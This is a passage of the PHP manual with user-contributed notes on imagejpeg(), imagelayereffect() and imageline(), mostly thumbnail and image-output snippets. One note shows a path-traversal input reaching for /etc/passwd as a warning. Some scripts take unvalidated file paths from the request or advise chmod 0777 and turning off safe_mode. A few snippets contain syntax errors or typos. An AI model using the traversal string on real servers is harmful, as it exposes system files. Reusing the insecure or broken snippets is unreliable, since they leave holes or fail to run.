
imagejpeg($image_small, '', 100);
imagedestroy($image_small);
     // finally send image to browser and destroy no longer
     // needed data.

?>

As this website helped me for several times in the past and for creating this script, I hope I can help others with this script saving the time for developing a much more performant solution than an allways-on-the-fly-creating script.
chris dot calo at gmail dot com 24-Jul-2006 04:30
Thanks to Stuart and Darren for the corrections to the create_thumbnail function.  Another note on that function: imagecreatefromwbmp was incorrectly used.  WBMPs are wireless bitmaps, not windows bitmaps (thanks to clambert at whitecrown), so the thumbnail routine as is will not be able to handle windows bitmaps.  See the notes at http://us2.php.net/manual/en/function.imagecreatefromwbmp.php for tips on working with windows bitmaps.
stuart at purpletoucan dot com 23-Jul-2006 07:55
Thanks to Chris dot Calo for the thumbnail snippet.  The file type issue is easily resolved by getting the type from the file with getimagesize, and you can handle unsupported types at that stage too.  Thus:

   list($img_width,$img_height, $type) = getimagesize($source_file); // Get the original dimentions
   if ($type != 1 && $type != 2 && $type != 3 && $type != 15) { die("Your file is not a supported format"); }

...and then later check the type again to open the image correctly:

   if ( $type == 1 ) { $img_source = imagecreatefromgif($source_file); }
   else if ( $type == 2 ) { $img_source = imagecreatefromjpeg($source_file); }
   else if ( $type == 3 ) { $img_source = imagecreatefrompng($source_file); }
   else if ( $type == 15 ) { $img_source = imagecreatefromwbmp($source_file); }
Darren Kulp ( kulp at thekulp dot com ) 19-Jul-2006 05:47
With regard to chris.calo's code:

// The following block retrieves the source file.  It assumes the filename extensions match the file's format.
   if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
   if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
 ... etc.

It assumes more than that, namely that the filename does not contain the strings '.gif', '.jpg', '.jpeg', '.bmp', or '.png' *anywhere* in the string. Some valid files with special filenames could break this; for example, a file named "used.to.be.a.png.file.gif" would cause this script to attempt to load the file as a PNG. Obviously this is a rare case, but the issue could be easily avoided by using "else ifs" (uses less CPU time) or checking that the extension abuts the end of the string or both.

That said, the whole business could be avoided if PHP didn't clutter the namespace with different functions to do the same thing with different image formats. Ick.
chris dot calo at gmail dot com 17-Jul-2006 11:44
function create_thumbnail( $source_file, $destination_file, $max_dimension)
{
    list($img_width,$img_height) = getimagesize($source_file); // Get the original dimentions
    $aspect_ratio = $img_width / $img_height;

    if ( ($img_width > $max_dimension) || ($img_height > $max_dimension) ) // If either dimension is too big...
    {
        if ( $img_width > $img_height ) // For wide images...
        {
            $new_width = $max_dimension;
            $new_height = $new_width / $aspect_ratio;
        }
        elseif ( $img_width < $img_height ) // For tall images...
        {
            $new_height = $max_dimension;
            $new_width = $new_height * $aspect_ratio;
        }
        elseif ( $img_width == $img_height ) // For square images...
        {
            $new_width = $max_dimension;
            $new_height = $max_dimension;
        }
        else { echo "Error reading image size."; return FALSE; }
    }
    else { $new_width = $img_width; $new_height = $img_height; } // If it's already smaller, don't change the size.

    // Make sure these are integers.
    $new_width = intval($new_width);
    $new_height = intval($new_height);

    $thumbnail = imagecreatetruecolor($new_width,$new_height); // Creates a new image in memory.

    // The following block retrieves the source file.  It assumes the filename extensions match the file's format.
    if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
    if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
    { $img_source = imagecreatefromjpeg($source_file); }
    if ( strpos($source_file,".bmp") ) { $img_source = imagecreatefromwbmp($source_file); }
    if ( strpos($source_file,".png") ) { $img_source = imagecreatefrompng($source_file); }

    // Here we resample and create the new jpeg.
    imagecopyresampled($thumbnail, $img_source, 0, 0, 0, 0, $new_width, $new_height, $img_width, $img_height);
    imagejpeg( $thumbnail, $destination_file, 100 );

    // Finally, we destroy the two images in memory.
    imagedestroy($img_source);
    imagedestroy($thumbnail);
}
your [dot] sheepy [at] gmail [dot] com 03-Apr-2006 10:34
Regarding Carl Gieringer's comment, it is possible to have PHP files in utf-8.  Just make sure the editor does not output BOM, which is unnecessary in utf-8 anyway.

Except for any editors from Microsoft, most programmer's editors that supports utf allows you to surpress BOM.
doobd at doobd dot com 15-Feb-2006 06:48
in addition to my THUMBNAIL GENERATOR script:

i forgot to say, src path must not be http:// but server path (e.g. for some linux server: src=/home/users/user1/public_html/images/image1.jpg) or relative path, as in example in script (src=test.jpg, src=../test.jpg, src=pictures/test.jpg...)
15-Feb-2006 04:44
THUMBNAIL GENERATOR

Hope someone will find this usefull... save it to thumb.php and use it for on-the-fly thumbnails generating

e.g.
<img src= "thumb.php?src=pic.jpg&wmax=150&hmax=100&quality=90&bgcol=FF0000"> </img>

<?php
    // by dooobd@NOSPAM.doobd.com
    //
    // proportional on-the-fly thumb generator from JPG images
    //
    // usage example:
    // <img src= "thumb.php?src=pic.jpg&wmax=150&hmax=100&quality=90&bgcol=FF0000"> </img>
    //
    // parameters:  src = source image
    //              wmax = max width
    //              hmax = max height
    //              quality = JPG quality of generated thumb - optional.
    //                        if not specified, quality=90
    //              bgcol = if specified, allways generates exact wmax x hmax sized thumb,
    //                      with bacground color bgcol and centered source image
    //
    // note: if source image is smaller than desired thumbnail, it will not be resized!

    header("Content-type: image/jpeg");
    $source = imagecreatefromjpeg($src);
    $orig_w=imagesx($source);
    $orig_h=imagesy($source);

    if ($orig_w>$wmax || $orig_h>$hmax)
    {
        $thumb_w=$wmax;
        $thumb_h=$hmax;
        if ($thumb_w/$orig_w*$orig_h>$thumb_h)
            $thumb_w=round($thumb_h*$orig_w/$orig_h);
        else
            $thumb_h=round($thumb_w*$orig_h/$orig_w);
    } else
    {
        $thumb_w=$orig_w;
        $thumb_h=$orig_h;
    }
    if (!@$bgcol)
    {
        $thumb=imagecreatetruecolor($thumb_w,$thumb_h);
        imagecopyresampled($thumb,$source,
                           0,0,0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);
    }
    else
    {
        $thumb=imagecreatetruecolor($wmax,$hmax);
        imagefilledrectangle($thumb,0,0,$wmax-1,$hmax-1,intval($bgcol,16));
        imagecopyresampled($thumb,$source,
                           round(($wmax-$thumb_w)/2),round(($hmax-$thumb_h)/2),
                           0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);
    }
    if (!@$quality) $quality=90;
    imagejpeg($thumb,"",$quality);
    imagedestroy($thumb);
?>
valentinp at gmail dot com 07-Jan-2006 03:41
For all those people getting the

"Warning: imagejpeg(): Unable to access data ..."

I solved it by chmodding the directory you're writing to, to 0777.

NO fopen() needed!

Regards,
Valentin
03-Jan-2006 02:59
Hi

I had similar problem with safe mode. My solution is:

before imagejpeg(), touch() etc.
write:
ini_set(safe_mode,Off);
and after everything:
ini_set(safe_mode,On);

strange, but it works
Chears2All
aerowinx at hotmail dot de 22-Dec-2005 12:26
If imagejpeg brings up this warning:

Warning: imagejpeg(): Unable to access data ...

it could be a problem with "Safe Mode". A solution could be to touch the new file before, like:

touch($newfile);
imagejpeg($image_p, $newfile, 100);
Kenneth Keiter 18-Dec-2005 05:59
So.. after messing around with this beast of a function for hours, I discovered that it DOES NOT preserve the resource it is using the create the image, nor do imagepng() or imagegif(). By this I mean that you can not run two imagejpeg(), imagepng() or imagegif() calls on the same resource. Another possibly undocumented quirk... :-(
I_have at no_email_for_spam dot com 02-Nov-2005 06:01
The behaviour of not being allowed to write the file is based on a change in latest release, see http://www.php.net/ChangeLog-4.php#4.4.1

- Added missing safe_mode checks for image* functions and cURL.
- ...

Some people (including me) consider this new behaviour as broken, see also http://bugs.php.net/bug.php?id=35060 - please vote for/against the bug if you feel same/different.

Workaround is e.g. a touch($filename); before the imagejpeg($im,$filename);
moron at industrial dot org 02-Nov-2005 05:12
Please note that there is a bug report open for the currently broken safe_mode behaviour on this function:

http://bugs.php.net/?id=35060

According to the PHP staffer who has responded the docs are wrong (I don't agree but I'm also not their employee).

The work around is to use touch() (or any other file system function that can do this) to create the file first before using imagejpeg().
mitnick at cc dot lv 02-Nov-2005 11:26
i had the same problem as tobylewis had

when i tried to call imagejpeg(), width porperly parameters given it displayed
imagejpeg(): Unable to access usr/home/public_html/pic1.jpg

imho if not correctly configured server this function is not allowed to create the file on disk.

the workaround however is if you create the file using some other function, before call imagejpeg(). something like this

<?
$fh=fopen($file_name_dest,'w');
fclose($fh);
imagejpeg($dest,$file_name_dest, $quality);
?>
mbailey [at] aethon [dt] co [dt] uk 18-Sep-2005 10:46
>>Bram Van Dam's

note below is missing "()" from the ob_end_clean call:

ob_end_clean; // stop this output buffer

should read

ob_end_clean(); // stop this output buffer

You can then use this for adding content-length headers (for example flash requires a content length in advance to create loaders)

e.g.

...

ob_start(); // start a new output buffer
   imagejpeg( $newimage, "", 90 );
   $ImageData = ob_get_contents();
   $ImageDataLength = ob_get_length();
ob_end_clean(); // stop this output buffer

header("Content-type: image/jpeg") ;
header("Content-Length: ".$ImageDataLength);
echo $ImageData;

...
(enVide neFelibata) envide at tugamail dot com 28-Aug-2005 04:32
Every script I was writing was giving me an error.
When writing the following code I was able, as a client, to browse the website and save the images (Save image as...) with IE. Yet with Firefox and family the browser tried to save them as 'script_name.php' instead of 'image_name.jpg'.

<?php
    header("Content-Type: image/jpeg");
    imagejpeg($image,'',100); // Output to Browser
?>

After trying to save all the watermarked images or saving the image as 'temp.jpg' before outputing it to user, I've read this topic on BugZilla that advised to add the following header:

<?php
    header("Content-Type: image/jpeg");
    header("Content-Disposition: attachment; filename=image_name.jpg"); // THIS ONE
?>

Sorry about the English.
Bram Van Dam 19-Aug-2005 09:50
If you wish to capture the jpg data into a variable, rather than outputting it or saving it into a file (perhaps so you can put it in a database), you might want to consider output buffering. Something along these lines should work:

<?php
ob_start(); // start a new output buffer
    imagejpeg( $newimage, NULL, 100 );
    $ImageData = ob_get_contents();
ob_end_clean; // stop this output buffer
?>
John Luetke <johnl1479 gmail com> 06-Aug-2005 02:53
Rewrote the manual example into this function for creating a thumbnail image:

function thumbnail_jpeg ($original, $thumbnail, $width, $height, $quality) {
  list($width_orig, $height_orig) = getimagesize($original);
  if ($width && ($width_orig < $height_orig)) {
    $width = ($height / $height_orig) * $width_orig;
  }
        else {
    $height = ($width / $width_orig) * $height_orig;
  }
  $image_p = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($originial);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
  imagejpeg($image_p, $thumbnail, $quality);
  return;
}
tobylewis at mac dot com 24-Jun-2005 04:04
After trying to get imagejpeg (and imagegif and imagepng) to save an image to a file for some time, it finally dawned on me that perhaps the function would not automatically create the file named in the second parameter.

I then used fopen to create a file prior to the call to imagejpeg and the image was successfully written to the file.  It did not seem to matter if fclose was called before or after the call to imagejpeg.

I also tried to create a file outside of php and use it as the target for output, but this initially failled because of permissions.  Once I set all write permissions on this also accepted output from imagejpeg.
ghokanso at cs dot ndsu dot edu 08-Jun-2005 06:54
When displaying an image using imagepng or imagejpeg, you may want/need to call "header("Content-type: image/jpeg")" before the imagepng and imagejpeg functions.
It appears that some servers/browers are striping out the default header so the image is not rendered and appears as raw data.
(Firefox 1.02+ and OSX Safari for example)
wojteksw at go2 dot pl 04-Apr-2005 12:37
I have changed one line in the script of Kokesh
25-Jun-2004 06:42 listed above, and now it generates better quality thumbnails.
You have to change function imagecopyresized() to imagecopyresampled()
nerdgirl at HATE_SPAMnerdgirl dot dk 27-Feb-2005 09:31
Here is an example of uploading an image, changing its size (width/height) and saving it to a new file. It uses ftp to upload both the original and the resized image. This is usefull in situations where ftp is your only option.

It took me a while to figure it out, so I hope this will save someone else a lot of time :-)

The following assumes that the image is uploaded from a form with a filefield called 'gfx'. I have left out all error checking to keep it simple, so remember to modify the code, to suit your needs.

<?php
$new_width = 100;
$new_height = 200;
$tmp_image=imagecreatefromjpeg($_FILES['gfx']['tmp_name']);
$width = imagesx($tmp_image);
$height = imagesy($tmp_image);
$new_image = imagecreatetruecolor($new_width,$new_height);
ImageCopyResized($new_image, $tmp_image,0,0,0,0, $new_width, $new_height, $width, $height);
//Grab new image
ob_start();
ImageJPEG($new_image);
$image_buffer = ob_get_contents();
ob_end_clean();
ImageDestroy($new_image);
//Create temporary file and write to it
$fp = tmpfile();
fwrite($fp, $image_buffer)) {
rewind($fp);
//Upload new image
$conn_id = ftp_connect('ftp.example.tld');
ftp_login($conn_id,'user','pass');
ftp_fput($conn_id,'path/to/new/file.jpg', $fp, FTP_BINARY);
fclose($fp);
?>
r dot duclos at chello dot fr 11-Feb-2005 03:41
Hy, here is a little code for generate a thumbnail, very good quality. Enjoy it !

<?php

function miniature($pict, $dest_pict){

    $handle = @imagecreatefromjpeg($pict);

    $x=imagesx($handle);
    $y=imagesy($handle);

        if($x > $y){
                $max = $x;
                $min = $y;
        }
        if($x <= $y){
                $max = $y;
                $min = $x;
        }

//$size_in_pixel : Size max of the label in pixel.  The size of the picture being
//proportional to the original, this value define maximum size
//of largest side with dimensions of the picture. Sorry for my english !

//Here $size_in_pixel = 100 for a thumbnail.
        $size_in_pixel = '100';

        $rate = $max/$size_in_pixel;
        $final_x = $x/$rate;
        $final_y = $y/$rate;

        if($final_x > $x) {
                $final_x = $x;
                $final_y = $y;
        }

        $final_x = ceil($final_x);
        $final_y = ceil($final_y);

        $black_picture = imageCreatetruecolor($final_x,$final_y);
        imagefill($black_picture,0,0,imagecolorallocate($black_picture, 255, 255, 255));
        imagecopyresampled($black_picture, $handle, 0, 0, 0, 0,$final_x, $final_y, $x, $y);

        if(!@imagejpeg($black_picture,$dest_pict.'/mini_'.$pict, $size_in_pixel))
        imagestring($black_picture, 1, $final_x-4, $final_y-8, ".", imagecolorallocate($black_picture,0,0,0));

        //The number is the quality of the result picture
        imagejpeg($black_picture,'', '100');
        imagedestroy($handle);
        imagedestroy($black_picture);
    }

$pict = "PICT7024.jpg";
$dest_pict = "D:/Program Files/EasyPHP1-7/www/test";
miniature($pict, $dest_pict);

?>
arjini at gmail dot com 13-Sep-2004 01:20
Scenario:
    When pointing your browser directly at a script outputting an image, it displays without problem, but when using it in another page via html (i.e. : img src="x.php?yada=yada" ), you get a broken image.

Reason:
    *Any* extra data sent along with the image will cause it to not display on other pages. Extra data may include, whitespace characters (check the begginings and ends of your files), or a call to session_start(), which is what got me.

Summary:
    If you're going to send an image DONT START A SESSION in the script that is outputting the image, and make sure that the PHP delimiters are the first and last things in your file.
10-Sep-2004 05:40
For best results, use only loss-less file formats (such as PNG) for storing images or image parts that you later intend to output with this function.
arjini at gmail dot com 08-Sep-2004 03:48
Converting a directory of PNG images into jpegs is as easy as:

<?php
    $d = dir('./');
    while(false !== ($e = $d->read())){
        if(strpos($e,'.png')){
            $r = imagecreatefrompng('./'.$e);
            imagejpeg($r,str_replace('.png','.jpg',$e),75);
        }
    }
?>

Don't let anybody convince you otherwise. Put that in the folder that the images are in and run it. I tried for 2 hours to get photoshop to do it, to no avail. PHP to the rescue!
Olav Alexander Mjelde 07-Jul-2004 02:31
Note to steve:
yes, this is true.. I simply forgot to think about that issue with the clear text to the script..

I think the easiest way to "fix" it, would be to replace the @ in the string with something which cant be used in an email adress..

Then the script would do a replace of excisting of that character..

abc@123.com would then be abc*123.com, which the script would parse back into abc@123.com
Steve 27-Jun-2004 03:14
Regarding Olav's attempt at avoiding spambots, the code will produce a string of code like requests.php?string=<email_address>, and most spambots will parse that email address right out.  You should either create static php scripts to output specific addresses, or do something like save a temporary file on the server with the address you want, and either pass the filename to the makeimage script or have the script open a specific file to check.  If you put the address anywhere on the page the spambot will parse it out, including a tag like href="mailto:xxx".  That's why people use forms to send email now.
Kokesh 25-Jun-2004 06:42
Here is the simple, but powerful script for creating thumbnails on the fly.
You can include the script
directly to www page - just put it in <img src= tag.
with width 150pix.
This resizer respects the ASPECT RATIO.
Here is the script:
<?php
// Use it this way: resize.php?pic=imageurl&width=width_in_pixels
// kokesh@kokeshnet.com 2004
    header("Content-type: image/jpeg");
    $im     = imagecreatefromjpeg($pic);
    $orange = imagecolorallocate($im, 220, 210, 60);
    $px     = (imagesx($im) - 7.5 * strlen($string)) / 2;

    $old_x=imageSX($im);
    $old_y=imageSY($im);

    $new_w=(int)($width);
    if (($new_w<=0) or ($new_w>$old_x)) {
      $new_w=$old_x;
    }

    $new_h=($old_x*($new_w/$old_x));

    if ($old_x > $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$old_y*($new_h/$old_x);

    }
    if ($old_x < $old_y) {
        $thumb_w=$old_x*($new_w/$old_y);
        $thumb_h=$new_h;
    }
    if ($old_x == $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$new_h;
    }
     $thumb=ImageCreateTrueColor($thumb_w,$thumb_h);
     imagecopyresized($thumb,$im,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y);

    imagejpeg($thumb,"",90);
    imagedestroy($thumb);
?>
rich @ richud dot com 24-Jun-2004 10:49
'quality' must be a whole number however if a mixed number is given it only uses whole part, e.g. a given value of 90.987 results in 90 being used.
Tom Davis 08-Jun-2004 12:49
I came across a problem where Internet Explorer refused to cache some dynamically created images. To get round this, send out a Last-Modified header.

Eg:

<?php

header('Last-Modified: '.gmdate('D, d M Y H:i:s', $timestamp).' GMT');
header('Content-Type: image/jpeg');
imagejpeg($photo);

?>
25-May-2004 08:42
A word of warning when outputting images to the browser...

Make sure there is no extra spaces around the <?php ?> tags, in the file you are editing, and also any included files.

I began to think there was a bug in GD or something, and I checked the file I was working on, but forgot about the includes...

Hours gone..
stick [at] geek [dot] hu 24-May-2004 01:08
Just a note to Olav Alexander Mjelde's code: don't forget to put an
imagedestroy($im);
at the end of it or you can run into memory problems.
jannehonkonen at hotmail dot com 05-May-2004 07:44
I had problem wanting to insert stealth - copyrights into images. I could have done this easily with fopen and such, but I still wanted to use imagejpeg(); and it's quality feature. Well this is one kind of solution what I discovered, and seems to work fine.

--code--
$filename = "http://www.domain.com/something.jpg";
$im = imagecreatefromjpeg($filename);
imagejpeg($im,$ModImg,65);
$ModImg .= "This is the text added after EOF of the jpeg";
echo $ModImg;
--code--

As imagejpeg(); inserts imagedata into $ModImg, it does not show the image, but it seems to send headers in that point, so header(); is not needed before echoing variable. Text is viewable with Hex-editors etc.
Olav Alexander Mjelde 07-Apr-2004 03:24
Some people have never heard of spambots, searching the net for email adresses.
How do you avoid this?
Some people write emails like: olav-x AT volvo-power.net (mine btw),
but this will confuse "stupid" users.
The optimal sollution is to have an image with your email adress on.

* When using this function,
you have to put it in a non-html php file..
eg. I put it in a makeimage.php file.
so, how do you display it?

In your users.php, put this:

echo "<b>Email:</b>&nbsp;
        <img src=\"/sql/phpPictures/makeimage.php
         ?string={$row['email']}\">";

Below is the makeimage.php (working example)

<?php
header("Content-type: image/jpg");
if (!isset($string))
  {
    $string = "Missing data";
  }

$font  = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
//white background
$background_color = imagecolorallocate
                 ($im, 255, 255, 255);
//black text
$text_color = imagecolorallocate ($im, 0, 0,0);
imagestring ($im, $font, 0, 0,  $string, $text_color);

imagejpeg ($im);
?>

Enjoy..
php at andy-pearce dot com 19-Feb-2004 09:42
This might be too obvious, but perhaps worth pointing out. If you want to simply serve images without altering them, it's presumably more efficient to use something like the following:

<?php
    // Normally $filename would depend on $_GET, etc.
    $filename = '/photoalbum/images/test.jpg';
    header('Content-type: image/jpeg');
    header('Content-transfer-encoding: binary');
    header('Content-length: '.filesize($filename));
    readfile($filename);
?>

That way you avoid the overhead of reading and parsing the image, you simply send it directly to the browser.

This is particularly useful if you're using PHP to implement access controls, because it allows you to redirect files from areas of the filesystem browsers can't normally access (although the filename should always come from your script if possible, and not from a URL field, to prevent subverting it with URLs such as image.php?../../../etc/passwd).
gzink at zinkconsulting dot com 01-Jan-2004 12:17
Don't forget that JPEG compression has artifacts! And they're not all really obvious. The PHP JPEG compression is pretty decent, but it seems to generally:

-Lighten the image overall, by a reasonable amount (never seen this before, but it will drive graphic designers crazy, you might want to darken the image before compressing it)
-Reduce saturation, especially with images with lots of points of different color within a few pixels of each other (this is a documented feature of JPEG)
-Seriously mess with blue colors, which is common to all JPEG but really annoying in some situations with blue and black or other detailed blue parts

You might want to consider using imagepng() and outputting a PNG image instead of a JPEG if any of the above affect you, or your image is not very photo-like. Sometimes I have an algorithm compare JPEG to PNG for an image and send the smaller version to the user.

Also, when using imagepng(), you should use imageinterlace() before it 95% of the time. Interlaced JPEGs load progressively, improving in quality as the image loads, so users on slower connections see the whole image at low quality. All this happens without affecting the file size (actually, sometimes the file size is smaller!) or final quality.

Hope this helps a few people out. It's not all that obvious without lots of playing around.

-Galen
http://zinkconsulting.com/
chris AT NOSPAM sketchdiary DOT com 25-Sep-2003 01:20
Just a reminder, if you're passing a string of text via GET, you should rawurlencode() or urlencode() them.  Some older browsers (such as Netscape 4.x) have issues regarding spaces in the URL.

NS 4 shows a broken image:
<image src="newimage.php?text=Show me the text!">

Makes all browsers happy:
<image src="newimage.php?text=<? echo urlencode('Show me the text!'); ?>">

Better to be safe than sorry...
irishcybernerd at email dot com 29-May-2003 07:33
Rather than using the temporary file, as described above, you can buffer the output stream. Someone else showed me this, and it seems to work very nicely.

    //Start buffering the output stream
    ob_start();

    // output the image as a file to the output stream
    Imagejpeg($im);

    //Read the output buffer
    $buffer = ob_get_contents();

    //clear the buffer
    ob_end_clean();

    //use $buffer as you wish...
jt at tsw dot org dot uk 25-Feb-2003 04:39
I've just read all this AFTER solving the problem in my own little way. (this is re dumping the image into a string)

Im not actually saving the file to a database, but I'm passing it over XML:RPC so I have the constraint that I cant just dump it to browser, and also its not binary safe.. my solution does not involve ob_start(); which might arguably be the more elgant solution. I didnt see my solution listed, so I thought I aught to post it to add to the wealth of knowledge:

[apologies if this is incorrect, im snipping from a large bit of irrelevent XML:RPC catching stuff]

$tmpfname = tempnam ("/tmp", "FOO");      // Generate the temp file

Imagejpeg($im,$tmpfname);                        // save me image to the file

$temp = fopen($tmpfname,"rb");                  // <- Open the file for reading binary

$buffer = fread($temp,filesize($tmpfname));  // get that data into the buffer
fclose($temp);                                            // close the file
unlink($tmpfname);                                     // finished with the file, discard

$out = base64_encode($buffer);                  // encode it (not nessicary if you are using some kind of binary safe function with the info)

and of course on the other end of whatever your doing,

[ some function to get $in ]

header("Content-type: image/jpeg");
$in = base64_decode($buffer);          // get the binary data back
echo $in;

This should work with things like Imagepng

Hope that helps anyone out.
crazyted at crazyted dot com 20-Feb-2003 06:51
In regards to adding images (or any other binary file) to a database, unless you absolutely *have* to, a MUCH better solution is to simply save the file you create to a directory and update your database with a URL to this file.

When I first started DB development I was hung up with BLOBs and how to make them effectively work with PHP but realized that they can severely impact performance and you also limit what you can do with those files once they're inside the DB.

If you can avoid using BLOBs, and most people can, then by all means just create a look-up table for your file urls and save them to a directory to store the files. File access and scalability will be greatly increased in most cases.
dominik at deobald dot org 26-Dec-2002 04:27
About dwards's note: If you choose to send an image to the user directly and don't want to have "strange characters", you have to set the mime-type of the result the user is going to receive:

header('Content-Type: image/jpeg');
imagejpeg($img);
dward at outeru dot comewithnospam 20-Jul-2002 02:57
It took me quite a while to figure out how to output dynamic images along with html with my php scripts.

I may be dim but I'm sure I'm not the only one. So here it is if you need it.

Instead of sending the image directly to the browser, which ends up looking like a bunch of garbage to most users, send an IMG tag with the SRC attribute set to your PHP script that creates the image.

echo '<IMG SRC="makeimg.php?args=YourMakeImgArgs">';
dklein at gmx dot de 11-Dec-2001 05:52
Looks like any specified resolution settings in a JPEG file get lost when using imageJPEG() function in a script.
I had a high resolution JPEG which i added text to with imagestringup() so my customer can print the emailed JPEG as a filled form, but printing both Graphics from Photoshop revealed that any JPEG created is downsampled to 72 dpi, while width and height is kept.
(72 dpi is the standard web resolution)
Nothing to wonder about, but maybe if you read this you dont need to scratch your head :)
pingling at idea dot net dot pl 23-Oct-2001 01:27
As the GD 1.8.4 manual says, the quality should be a value in the range 0-95. And this seems to be true - setting it to 100 doesn't change the default quality.
godehardt at hotmail dot com 03-Jul-2001 09:28
If you call imagecreatefromjpeg and load a jpeg with 75% quality and output it with imagejpeg u can specify the new quality for e.g. 90% and u can increase quality, but output will look like 75% quality picture with the only difference that the new pic is bigger.

So u should check the source quality before u alter output quality. In most cases a quality of 75% is sufficient. For previews i use 50%.

But i make a check if source quality is lower than my personal output quality, i will not chance source quality !

Hope that helps your Webserver and keeps the traffic low :-)


Set the alpha blending flag to use the bundled libgd layering effects

  • « imagejpeg
  • imageline »
  • PHP Manual
  • GD and Image Functions
  • Set the alpha blending flag to use the bundled libgd layering effects

imagelayereffect

(PHP 4 >= 4.3.0, PHP 5)

imagelayereffect — Set the alpha blending flag to use the bundled libgd layering effects

Description

bool imagelayereffect ( resource $image , int $effect )

Set the alpha blending flag to use the bundled libgd layering effects.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

effect

One of the following constants:

IMG_EFFECT_REPLACE
Use pixel replacement (equivalent of passing TRUE to imagealphablending())
IMG_EFFECT_ALPHABLEND
Use normal pixel blending (equivalent of passing FALSE to imagealphablending())
IMG_EFFECT_NORMAL
Same as IMG_EFFECT_ALPHABLEND.
IMG_EFFECT_OVERLAY
Overlay has the effect that black background pixels will remain black, white background pixels will remain white, but grey background pixels will take the colour of the foreground pixel.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagelayereffect() example

<?php
// Setup an image
$im = imagecreatetruecolor(100, 100);

// Set a background
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 220, 220, 220));

// Apply the overlay alpha blending flag
imagelayereffect($im, IMG_EFFECT_OVERLAY);

// Draw two grey ellipses
imagefilledellipse($im, 50, 50, 40, 40, imagecolorallocate($im, 100, 255, 100));
imagefilledellipse($im, 50, 50, 50, 80, imagecolorallocate($im, 100, 100, 255));
imagefilledellipse($im, 50, 50, 80, 50, imagecolorallocate($im, 255, 100, 100));

// Output
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagelayereffect()

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

rx 23-Sep-2014 09:15
IMG_EFFECT_OVERLAY doesn't work in PHP 5.6.0 with GD version: 2.1.0-alpha.
andrew at iwebsolutions dot co dot uk 07-Oct-2008 12:38
I have been getting a fatal error:

Fatal error: Call to undefined function imagelayereffect()

This doesn't work with Ubuntu server (8.04 lts) and the php5-gd package.  If you need this you will have to recompile PHP with GD built-in.
[myname] at mac dot com 23-Feb-2008 08:45
^^ my name is coreyward ^^

imagelayereffect needs to be applied to the destination image, not the source image. As noted, the only useful "effect" as of this time is IMG_EFFECT_OVERLAY since the others are merely another way of setting the alpha blending flag.

You can also use imagecopymerge with a lower pct argument to blend two images with more control over the opacity at which the top image is blended.

<?

// overlays $im_src onto $im_dst properly (assuming same dims)

imagelayereffect($im_dst, IMG_EFFECT_OVERLAY);
imagecopy($im_dst, $im_src, 0, 0, 0, 0, $im_dst_x, $im_dst_y);

?>
Remon 05-Feb-2008 10:12
I found the following example on a Chinese site and translated and adjusted it. It creates a portrait from the sample picture.

<?php

// Portrait image
$im = imagecreatefromjpeg( "sample.jpg");

// Get width and height
$w = imagesx($im);
$h = imagesy($im);

// Non-through
$c_visible = 0x007F7F7F;
// Background (black)
$c_bg = 0x00000000;

// Create mask
$im_mask = imagecreatetruecolor($w,$h);
imageFilledRectangle($im_mask, 0,0, $w,$h, $c_bg);
imageFilledEllipse ($im_mask, $w/2,$h/2, $w*.9,$h*.9, $c_visible);

// Only overlay seems to something useful
imagelayereffect($im_mask, IMG_EFFECT_OVERLAY);

imagecopy($im_mask, $im, 0,0, 0,0, $w,$h);
imagedestroy($im);

imagepng($im_mask);
imagedestroy($im_mask);

?>

Try removing the 'create mask' code and just add another image with 'createimagefromjpeg' to see 'normal' overlay. It blends the colors like different layers in Photoshop.
06-Feb-2005 01:36
I assume, that the specific effects are similiar to those used in Adobe Photoshop for blending layers.
There might be things like IMG_EFFECT_MULTIPLY resulting of that.


Draw a line

  • « imagelayereffect
  • imageloadfont »
  • PHP Manual
  • GD and Image Functions
  • Draw a line

imageline

(PHP 4, PHP 5)

imageline — Draw a line

Description

bool imageline ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

Draws a line between the two given points.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x1

x-coordinate for first point.

y1

y-coordinate for first point.

x2

x-coordinate for second point.

y2

y-coordinate for second point.

color

The line color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Drawing a thick line

<?php

function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1)
{
    /* this way it works well only for orthogonal lines
    imagesetthickness($image, $thick);
    return imageline($image, $x1, $y1, $x2, $y2, $color);
    */
    if ($thick == 1) {
        return imageline($image, $x1, $y1, $x2, $y2, $color);
    }
    $t = $thick / 2 - 0.5;
    if ($x1 == $x2 || $y1 == $y2) {
        return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color);
    }
    $k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q
    $a = $t / sqrt(1 + pow($k, 2));
    $points = array(
        round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a),
        round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a),
        round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a),
        round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a),
    );
    imagefilledpolygon($image, $points, 4, $color);
    return imagepolygon($image, $points, 4, $color);
}

?>

See Also

  • imagecreatetruecolor() - Create a new true color image
  • imagecolorallocate() - Allocate a color for an image

User Contributed Notes

Nils 15-Mar-2012 09:57
